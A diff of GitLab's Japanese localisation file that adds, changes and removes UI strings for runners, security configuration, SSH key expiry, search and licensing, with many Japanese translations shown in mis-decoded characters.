+msgid "Runners|Amazon Linux 2 Docker HA with manual scaling and optional scheduling. %{percentage} spot."
+msgstr ""
+
+msgid "Runners|Amazon Linux 2 Docker HA with manual scaling and optional scheduling. Non-spot. Default choice for Linux Docker executor."
+msgstr ""
+
msgid "Runners|An error has occurred fetching instructions"
msgstr ""
msgid "Runners|Architecture"
msgstr ""
+msgid "Runners|Are you sure you want to delete this runner?"
+msgstr ""
+
msgid "Runners|Can run untagged jobs"
msgstr ""
@@ -28174,6 +27877,9 @@ msgstr ""
msgid "Runners|Copy instructions"
msgstr ""
+msgid "Runners|Deploy GitLab Runner in AWS"
+msgstr ""
+
msgid "Runners|Description"
msgstr "説明"
@@ -28183,9 +27889,18 @@ msgstr ""
msgid "Runners|Download latest binary"
msgstr ""
+msgid "Runners|Enter the number of seconds. This timeout takes precedence over lower timeouts set for the project."
+msgstr ""
+
+msgid "Runners|For each solution, you will choose a capacity. 1 enables warm HA through Auto Scaling group re-spawn. 2 enables hot HA because the service is available even when a node is lost. 3 or more enables hot HA and manual scaling of runner fleet."
+msgstr ""
+
msgid "Runners|IP Address"
msgstr ""
+msgid "Runners|If you do not select an AWS VPC, the runner will deploy to the Default VPC in the AWS Region you select. Please consult with your AWS administrator to understand if there are any security risks to deploying into the Default VPC in any given region in your AWS account."
+msgstr ""
+
msgid "Runners|Install a runner"
msgstr ""
@@ -28198,9 +27913,15 @@ msgstr ""
msgid "Runners|Maximum job timeout"
msgstr ""
+msgid "Runners|Members of the %{type} can register runners"
+msgstr ""
+
msgid "Runners|Name"
msgstr ""
+msgid "Runners|New registration token generated!"
+msgstr ""
+
msgid "Runners|New runner, has not connected yet"
msgstr ""
@@ -28243,12 +27964,18 @@ msgstr ""
msgid "Runners|Runner is paused, last contact was %{runner_contact} ago"
msgstr ""
+msgid "Runners|Runner registration"
+msgstr ""
+
msgid "Runners|Shared runners are available to every project in a GitLab instance. If you want a runner to build only specific projects, restrict the project in the table below. After you restrict a runner to a project, you cannot change it back to a shared runner."
msgstr ""
msgid "Runners|Show Runner installation instructions"
msgstr ""
+msgid "Runners|Something went wrong while fetching the tags suggestions"
+msgstr ""
+
msgid "Runners|Tags"
msgstr ""
@@ -28279,6 +28006,12 @@ msgstr ""
msgid "Runners|View installation instructions"
msgstr ""
+msgid "Runners|Windows 2019 Shell with manual scaling and optional scheduling. %{percentage} spot."
+msgstr ""
+
+msgid "Runners|Windows 2019 Shell with manual scaling and optional scheduling. Non-spot. Default choice for Windows Shell executor."
+msgstr ""
+
msgid "Runners|You can set up a specific runner to be used by multiple projects but you cannot make this a shared runner."
msgstr ""
@@ -28357,6 +28090,12 @@ msgstr ""
msgid "SSH keys allow you to establish a secure connection between your computer and GitLab."
msgstr "SSH éµã‚’使用ã™ã‚‹ã¨ã€ã‚³ãƒ³ãƒ”ュータã¨GitLabã®é–“を安全ã«æŽ¥ç¶šã§ãã¾ã™ã€‚"
+msgid "SSH keys with the following fingerprints are scheduled to expire soon. Expired SSH keys can not be used:"
+msgstr ""
+
+msgid "SSH keys with the following fingerprints have expired and can no longer be used:"
+msgstr ""
+
msgid "SSH public key"
msgstr "SSH 公開éµ"
@@ -28408,10 +28147,7 @@ msgstr "パスワードをä¿å­˜"
msgid "Save pipeline schedule"
msgstr "パイプラインスケジュールをä¿å­˜"
-msgid "Save space and find images in the Container Registry. Remove unneeded tags and keep only the ones you want."
-msgstr ""
-
-msgid "Saved scan settings and target site settings which are reusable."
+msgid "Save space and find images in the container Registry. remove unneeded tags and keep only the ones you want. %{linkStart}How does cleanup work?%{linkEnd}"
msgstr ""
msgid "Saving"
@@ -28444,6 +28180,9 @@ msgstr ""
msgid "Scheduled a rebase of branch %{branch}."
msgstr ""
+msgid "Scheduled pipelines cannot run more frequently than once per %{limit} minutes. A pipeline configured to run more frequently only starts after %{limit} minutes have elapsed since the last time it ran."
+msgstr ""
+
msgid "Scheduled to merge this merge request (%{strategy})."
msgstr ""
@@ -28495,6 +28234,9 @@ msgstr "上ã¸ã‚¹ã‚¯ãƒ­ãƒ¼ãƒ«"
msgid "Search"
msgstr "検索"
+msgid "Search GitLab"
+msgstr ""
+
msgid "Search Jira issues"
msgstr ""
@@ -28579,9 +28321,6 @@ msgstr "çµæžœã‚’検索ã¾ãŸã¯ãƒ•ã‚£ãƒ«ã‚¿ã™ã‚‹..."
msgid "Search or filter results…"
msgstr "çµæžœã‚’検索ã¾ãŸã¯ãƒ•ã‚£ãƒ«ã‚¿ã™ã‚‹..."
-msgid "Search or jump to…"
-msgstr "検索ã¾ãŸã¯ã‚¸ãƒ£ãƒ³ãƒ—å…ˆ..."
-
msgid "Search project"
msgstr "プロジェクトを検索"
@@ -28701,12 +28440,6 @@ msgstr[0] "Wikiã®çµæžœ"
msgid "Searching by both author and message is currently not supported."
msgstr ""
-msgid "Seat Link"
-msgstr "シートリンク"
-
-msgid "Seat Link is disabled, and cannot be configured through this form."
-msgstr ""
-
msgid "SeatUsage|Seat usage"
msgstr ""
@@ -28773,6 +28506,9 @@ msgstr ""
msgid "SecurityConfiguration|%{featureName} merge request creation mutation failed"
msgstr ""
+msgid "SecurityConfiguration|%{scanType} configuration code snippet"
+msgstr ""
+
msgid "SecurityConfiguration|An error occurred while creating the merge request."
msgstr "マージリクエストã®ä½œæˆä¸­ã«ã‚¨ãƒ©ãƒ¼ãŒç™ºç”Ÿã—ã¾ã—ãŸã€‚"
@@ -28794,6 +28530,9 @@ msgstr ""
msgid "SecurityConfiguration|Configuration guide"
msgstr ""
+msgid "SecurityConfiguration|Configuration history"
+msgstr ""
+
msgid "SecurityConfiguration|Configure"
msgstr "設定"
@@ -28803,6 +28542,12 @@ msgstr ""
msgid "SecurityConfiguration|Configure via Merge Request"
msgstr ""
+msgid "SecurityConfiguration|Copy code and open .gitlab-ci.yml file"
+msgstr ""
+
+msgid "SecurityConfiguration|Copy code only"
+msgstr ""
+
msgid "SecurityConfiguration|Could not retrieve configuration data. Please refresh the page, or try again later."
msgstr "設定データをå–å¾—ã§ãã¾ã›ã‚“ã§ã—ãŸã€‚ページを更新ã™ã‚‹ã‹ã€ã—ã°ã‚‰ãã—ã¦ã‹ã‚‰ã‚‚ã†ä¸€åº¦ãŠè©¦ã—ãã ã•ã„。"
@@ -28827,9 +28572,18 @@ msgstr "Auto DevOps ã§æœ‰åŠ¹"
msgid "SecurityConfiguration|Feature documentation for %{featureName}"
msgstr " %{featureName} ã®æ©Ÿèƒ½æ–‡æ›¸"
+msgid "SecurityConfiguration|GitLab Ultimate checks your application for security vulnerabilities that may lead to unauthorized access, data leaks, and denial of service attacks. Its features include:"
+msgstr ""
+
+msgid "SecurityConfiguration|High-level vulnerability statistics across projects and groups."
+msgstr ""
+
msgid "SecurityConfiguration|Manage"
msgstr "管ç†"
+msgid "SecurityConfiguration|Manage profiles for use by DAST scans."
+msgstr ""
+
msgid "SecurityConfiguration|Manage scans"
msgstr ""
@@ -28839,12 +28593,21 @@ msgstr ""
msgid "SecurityConfiguration|Not enabled"
msgstr "有効ã§ã¯ã‚ã‚Šã¾ã›ã‚“"
+msgid "SecurityConfiguration|Once you've enabled a scan for the default branch, any subsequent feature branch you create will include the scan."
+msgstr ""
+
+msgid "SecurityConfiguration|Runtime security metrics for application environments."
+msgstr ""
+
msgid "SecurityConfiguration|SAST Analyzers"
msgstr ""
msgid "SecurityConfiguration|SAST Configuration"
msgstr "SAST 設定"
+msgid "SecurityConfiguration|Secure your project with Ultimate"
+msgstr ""
+
msgid "SecurityConfiguration|Security Control"
msgstr ""
@@ -28857,7 +28620,10 @@ msgstr "状態"
msgid "SecurityConfiguration|Testing & Compliance"
msgstr ""
-msgid "SecurityConfiguration|The status of the tools only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}. Once you've enabled a scan for the default branch, any subsequent feature branch you create will include the scan."
+msgid "SecurityConfiguration|The status of the tools only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}."
+msgstr ""
+
+msgid "SecurityConfiguration|Upgrade or start a free trial"
msgstr ""
msgid "SecurityConfiguration|Using custom settings. You won't receive automatic updates on this variable. %{anchorStart}Restore to default%{anchorEnd}"
@@ -28866,6 +28632,12 @@ msgstr ""
msgid "SecurityConfiguration|View history"
msgstr ""
+msgid "SecurityConfiguration|Vulnerability details and statistics in the merge request."
+msgstr ""
+
+msgid "SecurityConfiguration|With the information provided, you can immediately begin risk analysis and remediation within GitLab."
+msgstr ""
+
msgid "SecurityConfiguration|You can quickly enable all security scanning tools by enabling %{linkStart}Auto DevOps%{linkEnd}."
msgstr ""
@@ -28878,6 +28650,27 @@ msgstr ""
msgid "SecurityOrchestration|Security policy project"
msgstr ""
+msgid "SecurityPolicies|Description"
+msgstr ""
+
+msgid "SecurityPolicies|Enforcement status"
+msgstr ""
+
+msgid "SecurityPolicies|Latest scan"
+msgstr ""
+
+msgid "SecurityPolicies|Network"
+msgstr ""
+
+msgid "SecurityPolicies|Policy type"
+msgstr ""
+
+msgid "SecurityPolicies|Scan execution"
+msgstr ""
+
+msgid "SecurityPolicies|view results"
+msgstr ""
+
msgid "SecurityReports|%{firstProject} and %{secondProject}"
msgstr "%{firstProject} 㨠%{secondProject}"
@@ -28890,7 +28683,7 @@ msgstr "セキュリティエリアã§ç›£è¦–ã™ã‚‹ãƒ—ロジェクトを追加ã¾
msgid "SecurityReports|Add projects"
msgstr "プロジェクトを追加"
-msgid "SecurityReports|All"
+msgid "SecurityReports|All activity"
msgstr ""
msgid "SecurityReports|Although it's rare to have no vulnerabilities, it can happen. Check your settings to make sure you've set up your dashboard correctly."
@@ -28953,6 +28746,9 @@ msgstr "脆弱性件数ã®å–得中ã«ã‚¨ãƒ©ãƒ¼ãŒç™ºç”Ÿã—ã¾ã—ãŸã€‚ãƒãƒƒãƒˆ
msgid "SecurityReports|Error fetching the vulnerability list. Please check your network connection and try again."
msgstr "脆弱性一覧ã®å–得中ã«ã‚¨ãƒ©ãƒ¼ãŒç™ºç”Ÿã—ã¾ã—ãŸã€‚ãƒãƒƒãƒˆãƒ¯ãƒ¼ã‚¯ã®çŠ¶æ…‹ã‚’確èªã—ã€ã‚‚ã†ä¸€åº¦å®Ÿè¡Œã—ã¦ãã ã•ã„。"
+msgid "SecurityReports|Error parsing security reports"
+msgstr ""
+
msgid "SecurityReports|Failed to get security report information. Please reload the page or try again later."
msgstr ""
@@ -29058,6 +28854,9 @@ msgstr ""
msgid "SecurityReports|Take survey"
msgstr ""
+msgid "SecurityReports|The security reports below contain one or more vulnerability findings that could not be parsed and were not recorded. Download the artifacts in the job output to investigate. Ensure any security report created conforms to the relevant %{helpPageLinkStart}JSON schema%{helpPageLinkEnd}."
+msgstr ""
+
msgid "SecurityReports|There was an error adding the comment."
msgstr ""
@@ -29160,9 +28959,6 @@ msgstr "Slackãƒãƒ¼ãƒ ã¨ãƒªãƒ³ã‚¯ã™ã‚‹ GitLab ã®ãƒ—ロジェクトをé¸æŠžã
msgid "Select Page"
msgstr "ページを変更"
-msgid "Select Stack"
-msgstr "スタックã®é¸æŠž"
-
msgid "Select a branch"
msgstr ""
@@ -29193,9 +28989,15 @@ msgstr ""
msgid "Select a repository"
msgstr "リãƒã‚¸ãƒˆãƒªã‚’é¸æŠž"
+msgid "Select a role"
+msgstr ""
+
msgid "Select a shared template repository for all projects on this instance."
msgstr ""
+msgid "Select a subgroup to use as a template when creating new projects in the group."
+msgstr ""
+
msgid "Select a template repository"
msgstr "テンプレートリãƒã‚¸ãƒˆãƒªã‚’é¸æŠž"
@@ -29298,9 +29100,6 @@ msgstr ""
msgid "Select target branch"
msgstr "ターゲットブランãƒã‚’é¸æŠž"
-msgid "Select the custom project template source group."
-msgstr "カスタムã®ãƒ—ロジェクトテンプレートã®ã‚°ãƒ«ãƒ¼ãƒ—ã‚’é¸æŠžã—ã¾ã™ã€‚"
-
msgid "Select timezone"
msgstr ""
@@ -29394,8 +29193,8 @@ msgstr ""
msgid "Send report"
msgstr "レãƒãƒ¼ãƒˆã‚’é€ä¿¡"
-msgid "Send usage data"
-msgstr "使用方法データã®é€ä¿¡"
+msgid "Send service data"
+msgstr ""
msgid "Sentry API URL"
msgstr "Sentry API URL"
@@ -29433,11 +29232,11 @@ msgstr "Severlessドメイン"
msgid "Serverless platform"
msgstr ""
-msgid "ServerlessDetails|Function invocation metrics require Prometheus to be installed first."
-msgstr "Function呼ã³å‡ºã—メトリクスã§ã¯ã€ Prometheus を最åˆã«ã‚¤ãƒ³ã‚¹ãƒˆãƒ¼ãƒ«ã™ã‚‹å¿…è¦ãŒã‚ã‚Šã¾ã™ã€‚"
+msgid "ServerlessDetails|Configure cluster."
+msgstr ""
-msgid "ServerlessDetails|Install Prometheus"
-msgstr "Prometheus ã®ã‚¤ãƒ³ã‚¹ãƒˆãƒ¼ãƒ«"
+msgid "ServerlessDetails|Function invocation metrics require the Prometheus cluster integration."
+msgstr ""
msgid "ServerlessDetails|Invocation metrics loading or not available at this time."
msgstr "呼ã³å‡ºã—メトリクスã®ãƒ­ãƒ¼ãƒ‰ä¸­ã€ã¾ãŸã¯ç¾åœ¨åˆ©ç”¨ã§ãã¾ã›ã‚“。"
@@ -29478,9 +29277,6 @@ msgstr "上記ã®ã©ã‚Œã‚‚当ã¦ã¯ã¾ã‚‰ãªã„ã¨æ€ã‚れる場åˆã¯ã€functi
msgid "Serverless|In order to start using functions as a service, you must first install Knative on your Kubernetes cluster. %{linkStart}More information%{linkEnd}"
msgstr ""
-msgid "Serverless|Install Knative"
-msgstr "Knativeã®ã‚¤ãƒ³ã‚¹ãƒˆãƒ¼ãƒ«"
-
msgid "Serverless|Learn more about Serverless"
msgstr "Serverless ã«ã¤ã„ã¦"
@@ -29523,6 +29319,9 @@ msgstr "サービス テンプレート"
msgid "Service URL"
msgstr "サービス URL"
+msgid "Service ping is disabled, and cannot be configured through this form."
+msgstr ""
+
msgid "ServiceDesk|Enable Service Desk"
msgstr ""
@@ -29613,6 +29412,9 @@ msgstr ""
msgid "Set requirements for a user to sign-in. Enable mandatory two-factor authentication."
msgstr "ユーザーãŒã‚µã‚¤ãƒ³ã‚¤ãƒ³ã™ã‚‹ãŸã‚ã®è¦ä»¶ã‚’設定ã—ã¾ã™ã€‚å¿…é ˆã®2è¦ç´ èªè¨¼ã‚’有効ã«ã—ã¾ã™ã€‚"
+msgid "Set size limits for displaying diffs in the browser."
+msgstr ""
+
msgid "Set target branch"
msgstr "ターゲットブランãƒã‚’設定"
@@ -29793,9 +29595,6 @@ msgstr ""
msgid "SeverityWidget|There was an error while updating severity."
msgstr ""
-msgid "Shards (%{shards})"
-msgstr ""
-
msgid "Shards to synchronize"
msgstr ""
@@ -29820,6 +29619,9 @@ msgstr ""
msgid "Shared runners are disabled on group level"
msgstr ""
+msgid "Shared runners details"
+msgstr ""
+
msgid "Shared runners help link"
msgstr "共有Runnerã®ãƒ˜ãƒ«ãƒ—リンク"
@@ -29844,9 +29646,6 @@ msgstr "ã™ã¹ã¦ã®ã‚¢ã‚¯ãƒ†ã‚£ãƒ“ティを表示"
msgid "Show all issues."
msgstr ""
-msgid "Show all members"
-msgstr "å…¨ã¦ã®ãƒ¡ãƒ³ãƒãƒ¼ã‚’表示"
-
msgid "Show all test cases."
msgstr ""
@@ -29874,9 +29673,6 @@ msgstr "コミットã®èª¬æ˜Žã‚’表示"
msgid "Show complete raw log"
msgstr "完全ãªç”Ÿãƒ­ã‚°ã‚’表示ã™ã‚‹"
-msgid "Show dependencies"
-msgstr ""
-
msgid "Show details"
msgstr ""
@@ -29910,12 +29706,6 @@ msgstr ""
msgid "Show one file at a time"
msgstr ""
-msgid "Show only direct members"
-msgstr "直接ã®ãƒ¡ãƒ³ãƒãƒ¼ã®ã¿è¡¨ç¤º"
-
-msgid "Show only inherited members"
-msgstr "継承メンãƒãƒ¼ã®ã¿ã‚’表示"
-
msgid "Show parent pages"
msgstr "親ページを表示"
@@ -29960,6 +29750,9 @@ msgstr ""
msgid "Showing all issues"
msgstr "ã™ã¹ã¦ã®ã‚¤ã‚·ãƒ¥ãƒ¼ã‚’表示"
+msgid "Showing data for workflow items created in this date range. Date range cannot exceed %{maxDateRange} days."
+msgstr ""
+
msgid "Showing graphs based on events of the last %{timerange} days."
msgstr ""
@@ -30293,9 +30086,6 @@ msgstr ""
msgid "Something went wrong while deleting description changes. Please try again."
msgstr "説明履歴を削除中ã«å•é¡ŒãŒç™ºç”Ÿã—ã¾ã—ãŸã€‚ã‚‚ã†ä¸€åº¦ãŠè©¦ã—ãã ã•ã„。"
-msgid "Something went wrong while deleting the package."
-msgstr "パッケージを削除ã™ã‚‹éš›ã«å•é¡ŒãŒç™ºç”Ÿã—ã¾ã—ãŸã€‚"
-
msgid "Something went wrong while deleting the source branch. Please try again."
msgstr "ソースブランãƒã®å‰Šé™¤ä¸­ã«å•é¡ŒãŒç™ºç”Ÿã—ã¾ã—ãŸã€‚ã‚‚ã†ä¸€åº¦ã‚„ã‚Šç›´ã—ã¦ãã ã•ã„。"
@@ -30398,6 +30188,9 @@ msgstr ""
msgid "Something went wrong while setting %{issuableType} notifications."
msgstr ""
+msgid "Something went wrong while setting %{issuableType} to-do item."
+msgstr ""
+
msgid "Something went wrong while stopping this environment. Please try again."
msgstr "ã“ã®ç’°å¢ƒã®åœæ­¢ä¸­ã«å•é¡ŒãŒç™ºç”Ÿã—ã¾ã—ãŸã€‚ã‚‚ã†ä¸€åº¦ã‚„ã‚Šç›´ã—ã¦ãã ã•ã„。"
@@ -30464,12 +30257,6 @@ msgstr ""
msgid "Sort direction: Descending"
msgstr ""
-msgid "SortOptions|Access level, ascending"
-msgstr "アクセスレベル昇順"
-
-msgid "SortOptions|Access level, descending"
-msgstr "アクセスレベルé™é †"
-
msgid "SortOptions|Blocking"
msgstr ""
@@ -30503,9 +30290,6 @@ msgstr "最後ã«å‚加ã—ãŸé †"
msgid "SortOptions|Last created"
msgstr "最新作æˆé †"
-msgid "SortOptions|Last joined"
-msgstr "æ–°ã—ãå‚加ã—ãŸé †"
-
msgid "SortOptions|Last updated"
msgstr "最終更新日時"
@@ -30548,9 +30332,6 @@ msgstr "åå‰ã€é™é †"
msgid "SortOptions|Oldest created"
msgstr "å¤ã„é †"
-msgid "SortOptions|Oldest joined"
-msgstr "å‚加ã—ãŸé †"
-
msgid "SortOptions|Oldest last activity"
msgstr "最å¤ã®æœ€æ–°ã‚¢ã‚¯ãƒ†ã‚£ãƒ“ティ"
@@ -30602,6 +30383,9 @@ msgstr "å¤ã„é †"
msgid "SortOptions|Start soon"
msgstr "æ–°ã—ã„é †"
+msgid "SortOptions|Title"
+msgstr ""
+
msgid "SortOptions|Type"
msgstr "タイプ"
@@ -30620,6 +30404,9 @@ msgstr "ソース (ブランãƒã‹ã‚¿ã‚°)"
msgid "Source Branch"
msgstr ""
+msgid "Source Editor instance is required to set up an extension."
+msgstr ""
+
msgid "Source IP"
msgstr ""
@@ -30722,15 +30509,6 @@ msgstr ""
msgid "Stage"
msgstr "ステージ"
-msgid "StageName|Build"
-msgstr ""
-
-msgid "StageName|Deploy"
-msgstr ""
-
-msgid "StageName|Test"
-msgstr ""
-
msgid "Standard"
msgstr "標準"
@@ -30947,12 +30725,18 @@ msgstr "ステータス:"
msgid "Status: %{title}"
msgstr ""
+msgid "StatusCheck|%{pending} pending"
+msgstr ""
+
msgid "StatusCheck|API to check"
msgstr ""
msgid "StatusCheck|Add status check"
msgstr ""
+msgid "StatusCheck|All passed"
+msgstr ""
+
msgid "StatusCheck|An error occurred deleting the %{name} status check."
msgstr ""
@@ -30971,7 +30755,7 @@ msgstr ""
msgid "StatusCheck|External API is already in use by another status check."
msgstr ""
-msgid "StatusCheck|Invoke an external API as part of the approvals"
+msgid "StatusCheck|Failed to load status checks."
msgstr ""
msgid "StatusCheck|Invoke an external API as part of the pipeline process."
@@ -31001,6 +30785,9 @@ msgstr ""
msgid "StatusCheck|Update status check"
msgstr ""
+msgid "StatusCheck|When this merge request is updated, a call is sent to the following APIs to confirm their status. %{linkStart}Learn more%{linkEnd}."
+msgstr ""
+
msgid "StatusCheck|You are about to remove the %{name} status check."
msgstr ""
@@ -31088,6 +30875,9 @@ msgstr "ストレージ:"
msgid "StorageSize|Unknown"
msgstr "ä¸æ˜Ž"
+msgid "Strikethrough"
+msgstr ""
+
msgid "Subgroup information"
msgstr ""
@@ -31097,9 +30887,6 @@ msgstr "サブグループマイルストーン"
msgid "Subgroup navigation"
msgstr ""
-msgid "Subgroup overview"
-msgstr "サブグループã®æ¦‚è¦"
-
msgid "SubgroupCreationLevel|Allowed to create subgroups"
msgstr "サブグループã®ä½œæˆã‚’許å¯"
@@ -31454,6 +31241,9 @@ msgstr "日曜日"
msgid "SuperSonics|Activate"
msgstr ""
+msgid "SuperSonics|Activate cloud license"
+msgstr ""
+
msgid "SuperSonics|Activate subscription"
msgstr ""
@@ -31472,7 +31262,13 @@ msgstr ""
msgid "SuperSonics|Buy subscription"
msgstr ""
-msgid "SuperSonics|Enter activation code"
+msgid "SuperSonics|Cloud license"
+msgstr ""
+
+msgid "SuperSonics|Cloud licensing"
+msgstr ""
+
+msgid "SuperSonics|Cloud licensing is now available. It's an easier way to activate instances and manage subscriptions. Read more about it in our %{blogPostLinkStart}blog post%{blogPostLinkEnd}. Activation codes are available in the %{portalLinkStart}Customers Portal%{portalLinkEnd}."
msgstr ""
msgid "SuperSonics|Expires on"
@@ -31544,9 +31340,6 @@ msgstr ""
msgid "SuperSonics|There is a connectivity issue."
msgstr ""
-msgid "SuperSonics|This field is required."
-msgstr ""
-
msgid "SuperSonics|This is the highest peak of users on your installation since the license started."
msgstr ""
@@ -31559,7 +31352,7 @@ msgstr ""
msgid "SuperSonics|Type"
msgstr ""
-msgid "SuperSonics|Upload a legacy license"
+msgid "SuperSonics|Upload a license file"
msgstr ""
msgid "SuperSonics|Users in subscription"
@@ -31607,7 +31400,7 @@ msgstr "サãƒãƒ¼ãƒˆãƒšãƒ¼ã‚¸URL"
msgid "Survey Response"
msgstr ""
-msgid "Switch Branch"
+msgid "Switch branch"
msgstr ""
msgid "Switch branch/tag"
@@ -31622,8 +31415,8 @@ msgstr "ソースã«åˆ‡ã‚Šæ›¿ãˆã€ãƒ•ã‚¡ã‚¤ãƒ«ã®å†…容をコピーã—ã¾ã™"
msgid "Symbolic link"
msgstr ""
-msgid "Sync information"
-msgstr "åŒæœŸæƒ…å ±"
+msgid "Sync LDAP"
+msgstr ""
msgid "Sync now"
msgstr ""
@@ -31631,12 +31424,12 @@ msgstr ""
msgid "Synced"
msgstr "åŒæœŸæ¸ˆã¿"
-msgid "Synchronization disabled"
-msgstr "åŒæœŸã¯ç„¡åŠ¹ã§ã™"
-
msgid "Synchronization settings"
msgstr ""
+msgid "Synchronize LDAP"
+msgstr ""
+
msgid "Syncing…"
msgstr ""
@@ -31826,6 +31619,9 @@ msgstr "ãƒãƒ¼ãƒ ãƒ‰ãƒ¡ã‚¤ãƒ³"
msgid "Telephone number"
msgstr "電話番å·"
+msgid "Tell us your experiences with the new Markdown editor %{linkStart}in this feedback issue%{linkEnd}."
+msgstr ""
+
msgid "Template"
msgstr "テンプレート"
@@ -32176,7 +31972,7 @@ msgstr ""
msgid "The Advanced Search in GitLab is a powerful search service that saves you time. Instead of creating duplicate code and wasting time, you can now search for code within other teams that can help your own project."
msgstr ""
-msgid "The Compliance Dashboard gives you the ability to see a group's merge request activity by providing a high-level view for all projects in the group."
+msgid "The Compliance Report captures merged changes that violate compliance best practices."
msgstr ""
msgid "The GitLab subscription service (customers.gitlab.com) is currently experiencing an outage. You can monitor the status and get updates at %{linkStart}status.gitlab.com%{linkEnd}."
@@ -32185,6 +31981,9 @@ msgstr ""
msgid "The GitLab user to which the Jira user %{jiraDisplayName} will be mapped"
msgstr ""
+msgid "The ID of the application."
+msgstr ""
+
msgid "The Issue Tracker is the place to add things that need to be improved or solved in a project"
msgstr "イシュートラッカーã¯ã€ãƒ—ロジェクトを改善ã—ãŸã‚Šè§£æ±ºã—ãŸã‚Šã™ã‚‹ãŸã‚ã«å¿…è¦ãªæƒ…報を追加ã™ã‚‹å ´æ‰€ã§ã™"
@@ -32194,6 +31993,9 @@ msgstr "イシュートラッカーã¯ã€ãƒ—ロジェクトを改善ã—ãŸã‚Šè§£
msgid "The Prometheus server responded with \"bad request\". Please check your queries are correct and are supported in your Prometheus version. %{documentationLink}"
msgstr "Prometheusサーãƒãƒ¼ã¯ã€Œæ‚ªã„リクエストã€ã¨å¿œç­”ã—ã¾ã—ãŸã€‚クエリãŒæ­£ã—ãã‚ãªãŸã®Prometheusã®ãƒãƒ¼ã‚¸ãƒ§ãƒ³ã§ã‚µãƒãƒ¼ãƒˆã•ã‚Œã¦ã„ã‚‹ã“ã¨ã‚’確èªã—ã¦ãã ã•ã„。 %{documentationLink}"
+msgid "The Snowplow cookie domain."
+msgstr ""
+
msgid "The URL defined on the primary node that secondary nodes should use to contact it."
msgstr ""
@@ -32227,9 +32029,6 @@ msgstr "ブランãƒã¾ãŸã¯ã‚¿ã‚°ã¯å­˜åœ¨ã—ã¾ã›ã‚“"
msgid "The character highlighter helps you keep the subject line to %{titleLength} characters and wrap the body at %{bodyLength} so they are readable in git."
msgstr "キャラクターãƒã‚¤ãƒ©ã‚¤ã‚¿ãƒ¼ã¯ã€ä»¶åã‚’ %{titleLength} 文字ã«ã€æœ¬æ–‡ã‚’ %{bodyLength} 文字ã«ã¾ã¨ã‚ã€gitã§èª­ã‚るよã†ã«ã—ã¾ã™ã€‚"
-msgid "The coding stage shows the time from the first commit to creating the merge request. The data will automatically be added here once you create your first merge request."
-msgstr "コーディングステージã§ã¯ã€æœ€åˆã®ã‚³ãƒŸãƒƒãƒˆã‹ã‚‰ãƒžãƒ¼ã‚¸ãƒªã‚¯ã‚¨ã‚¹ãƒˆãŒä½œæˆã•ã‚Œã‚‹ã¾ã§ã®æ™‚é–“ãŒè¡¨ç¤ºã•ã‚Œã¾ã™ã€‚ã“ã®ãƒ‡ãƒ¼ã‚¿ã¯æœ€åˆã®ãƒžãƒ¼ã‚¸ãƒªã‚¯ã‚¨ã‚¹ãƒˆãŒä½œæˆã•ã‚ŒãŸã¨ãã«è‡ªå‹•çš„ã«è¿½åŠ ã•ã‚Œã¾ã™ã€‚"
-
msgid "The collection of events added to the data gathered for that stage."
msgstr "ã“ã®ã‚¹ãƒ†ãƒ¼ã‚¸ã§è¨ˆæ¸¬ãƒ‡ãƒ¼ã‚¿ã«è¿½åŠ ã•ã‚ŒãŸã‚¤ãƒ™ãƒ³ãƒˆãƒªã‚¹ãƒˆ"
@@ -32263,8 +32062,8 @@ msgstr ""
msgid "The data source is connected, but there is no data to display. %{documentationLink}"
msgstr "データソースã«ã¯æŽ¥ç¶šã§ãã¦ã„ã¾ã™ãŒã€è¡¨ç¤ºã™ã‚‹ãƒ‡ãƒ¼ã‚¿ã¯ã‚ã‚Šã¾ã›ã‚“。 %{documentationLink}"
-msgid "The default CI configuration path for new projects."
-msgstr "æ–°ã—ã„プロジェクトã®ãŸã‚ã®ãƒ‡ãƒ•ã‚©ãƒ«ãƒˆCI設定パス。"
+msgid "The default CI/CD configuration file and path for new projects."
+msgstr ""
msgid "The dependency list details information about the components used within your project."
msgstr "ä¾å­˜é–¢ä¿‚リストã«ã¯ãƒ—ロジェクト内ã§ä½¿ç”¨ã•ã‚Œã¦ã„るコンãƒãƒ¼ãƒãƒ³ãƒˆã«é–¢ã™ã‚‹è©³ç´°æƒ…å ±ãŒè¨˜è¼‰ã•ã‚Œã¦ã„ã¾ã™ã€‚"
@@ -32293,6 +32092,9 @@ msgstr ""
msgid "The errors we encountered were:"
msgstr ""
+msgid "The file containing the export is not available yet; it may still be transferring. Please try again later."
+msgstr ""
+
msgid "The file has been successfully created."
msgstr "ファイルã¯æ­£å¸¸ã«ä½œæˆã•ã‚Œã¾ã—ãŸã€‚"
@@ -32366,6 +32168,9 @@ msgstr ""
msgid "The group_project_ids parameter is only allowed for a group"
msgstr ""
+msgid "The hostname of your Snowplow collector."
+msgstr ""
+
msgid "The import will time out after %{timeout}. For repositories that take longer, use a clone/push combination."
msgstr "インãƒãƒ¼ãƒˆã¯ %{timeout} ã§ã‚¿ã‚¤ãƒ ã‚¢ã‚¦ãƒˆã—ã¾ã™ã€‚タイムアウトã™ã‚‹ãƒªãƒã‚¸ãƒˆãƒªã§ã¯ã€clone/push を組ã¿åˆã‚ã›ã¦ä½¿ç”¨ã—ã¦ãã ã•ã„。"
@@ -32387,15 +32192,15 @@ msgstr "招待ã¯æ—¢ã«æ‰¿èªã•ã‚Œã¦ã„ã¾ã™ã€‚"
msgid "The invitation was successfully resent."
msgstr "招待をå†é€ã—ã¾ã—ãŸã€‚"
-msgid "The issue stage shows the time it takes from creating an issue to assigning the issue to a milestone, or add the issue to a list on your Issue Board. Begin creating issues to see data for this stage."
-msgstr "イシューステージã«ã¯ã€ã‚¤ã‚·ãƒ¥ãƒ¼ãŒç™»éŒ²ã•ã‚Œã¦ã‹ã‚‰ãƒžã‚¤ãƒ«ã‚¹ãƒˆãƒ¼ãƒ³ã«å‰²ã‚Šå½“ã¦ã‚‰ã‚Œã‚‹ã‹ã€ã‚¤ã‚·ãƒ¥ãƒ¼ãƒœãƒ¼ãƒ‰ã®ãƒªã‚¹ãƒˆã«è¿½åŠ ã•ã‚Œã‚‹ã¾ã§ã®æ™‚é–“ãŒè¡¨ç¤ºã•ã‚Œã¾ã™ã€‚ã“ã®ãƒªã‚¹ãƒˆã‚’表示ã™ã‚‹ã«ã¯ã‚¤ã‚·ãƒ¥ãƒ¼ã‚’最åˆã«ä½œæˆã—ã¦ãã ã•ã„。"
-
msgid "The issue was successfully promoted to an epic. Redirecting to epic..."
